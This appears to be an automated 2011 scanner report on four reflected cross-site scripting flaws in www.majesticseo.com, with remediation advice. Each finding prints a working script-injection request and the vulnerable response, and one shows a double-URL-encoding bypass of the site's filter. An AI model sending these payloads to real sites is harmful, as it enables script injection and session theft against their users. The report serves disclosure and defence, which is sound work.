XSS, DORK, Cross Site Scripting, CWE-79, CAPEC-86, www.majesticseo.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Mon Mar 14 19:42:03 CDT 2011.

1. Cross-site scripting (reflected)

1.1. http://www.majesticseo.com/reports/site-explorer [q parameter]

1.2. http://www.majesticseo.com/reports/site-explorer/summary/xss.cx [REST URL parameter 4]

1.3. http://www.majesticseo.com/search.php [name of an arbitrarily supplied request parameter]

1.4. http://www.majesticseo.com/search.php [q parameter]

1. Cross-site scripting (reflected)
There are 4 instances of this issue:

/reports/site-explorer [q parameter]
/reports/site-explorer/summary/xss.cx [REST URL parameter 4]
/search.php [name of an arbitrarily supplied request parameter]
/search.php [q parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.majesticseo.com/reports/site-explorer [q parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.majesticseo.com
Path:	/reports/site-explorer

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38f73"><script>alert(1)</script>1adbf8ae495 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /reports/site-explorer?q=xss.cx38f73"><script>alert(1)</script>1adbf8ae495 HTTP/1.1
Host: www.majesticseo.com
Proxy-Connection: keep-alive
Referer: http://www.majestic12.co.uk/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RURI=search.php; REF=www.majestic12.co.uk

Response

HTTP/1.1 200 OK
Date: Tue, 15 Mar 2011 00:19:31 GMT
Server: Apache
Content-Length: 7096
Set-Cookie: REF=www.majestic12.co.uk; path=/; expires=Thu, 14-Apr-2011 00:19:31 GMT
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<meta http-equiv="X-UA-Compatible" content="IE=8" />

<html>
<head>
<meta http-equiv="Content-Ty
...[SNIP]...
<input name="q" id="search_text" onfocus="SearchEntryOnFocus(this);" value="xss.cx38f73"><script>alert(1)</script>1adbf8ae495" onclick="encodeURI()" type="text">
...[SNIP]...

1.2. http://www.majesticseo.com/reports/site-explorer/summary/xss.cx [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.majesticseo.com
Path:	/reports/site-explorer/summary/xss.cx

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf759%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e07488d3bb64 was submitted in the REST URL parameter 4. This input was echoed as bf759"><script>alert(1)</script>07488d3bb64 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /reports/site-explorer/summary/xss.cxbf759%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e07488d3bb64 HTTP/1.1
Host: www.majesticseo.com
Proxy-Connection: keep-alive
Referer: http://www.majestic12.co.uk/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RURI=search.php; REF=www.majestic12.co.uk

Response

HTTP/1.1 200 OK
Date: Tue, 15 Mar 2011 00:20:53 GMT
Server: Apache
Content-Length: 7478
Set-Cookie: REF=www.majestic12.co.uk; path=/; expires=Thu, 14-Apr-2011 00:20:53 GMT
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<meta http-equiv="X-UA-Compatible" content="IE=8" />

<html>
<head>
<meta http-equiv="Content-Ty
...[SNIP]...
<input name="q" id="search_text" onfocus="SearchEntryOnFocus(this);" value="xss.cxbf759"><script>alert(1)</script>07488d3bb64" onclick="encodeURI()" type="text">
...[SNIP]...

1.3. http://www.majesticseo.com/search.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.majesticseo.com
Path:	/search.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7c1c"><script>alert(1)</script>bd61f786145 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /search.php?q=xs/f7c1c"><script>alert(1)</script>bd61f786145s.cx HTTP/1.1
Host: www.majesticseo.com
Proxy-Connection: keep-alive
Referer: http://www.majestic12.co.uk/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 15 Mar 2011 00:19:48 GMT
Server: Apache
Content-Length: 7097
Set-Cookie: RURI=reports%2Fsite-explorer; path=/; expires=Thu, 14-Apr-2011 00:19:48 GMT
Set-Cookie: REF=www.majestic12.co.uk; path=/; expires=Thu, 14-Apr-2011 00:19:48 GMT
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<meta http-equiv="X-UA-Compatible" content="IE=8" />

<html>
<head>
<meta http-equiv="Content-Ty
...[SNIP]...
<input name="q" id="search_text" onfocus="SearchEntryOnFocus(this);" value="xs/f7c1c"><script>alert(1)</script>bd61f786145s.cx" onclick="encodeURI()" type="text">
...[SNIP]...

1.4. http://www.majesticseo.com/search.php [q parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.majesticseo.com
Path:	/search.php

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce550"><script>alert(1)</script>f8af42efc35 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /search.php?q=xss.cxce550"><script>alert(1)</script>f8af42efc35 HTTP/1.1
Host: www.majesticseo.com
Proxy-Connection: keep-alive
Referer: http://www.majestic12.co.uk/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 15 Mar 2011 00:19:25 GMT
Server: Apache
Content-Length: 7096
Set-Cookie: RURI=reports%2Fsite-explorer; path=/; expires=Thu, 14-Apr-2011 00:19:28 GMT
Set-Cookie: REF=www.majestic12.co.uk; path=/; expires=Thu, 14-Apr-2011 00:19:28 GMT
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<meta http-equiv="X-UA-Compatible" content="IE=8" />

<html>
<head>
<meta http-equiv="Content-Ty
...[SNIP]...
<input name="q" id="search_text" onfocus="SearchEntryOnFocus(this);" value="xss.cxce550"><script>alert(1)</script>f8af42efc35" onclick="encodeURI()" type="text">
...[SNIP]...

Report generated by XSS.CX at Mon Mar 14 19:42:03 CDT 2011.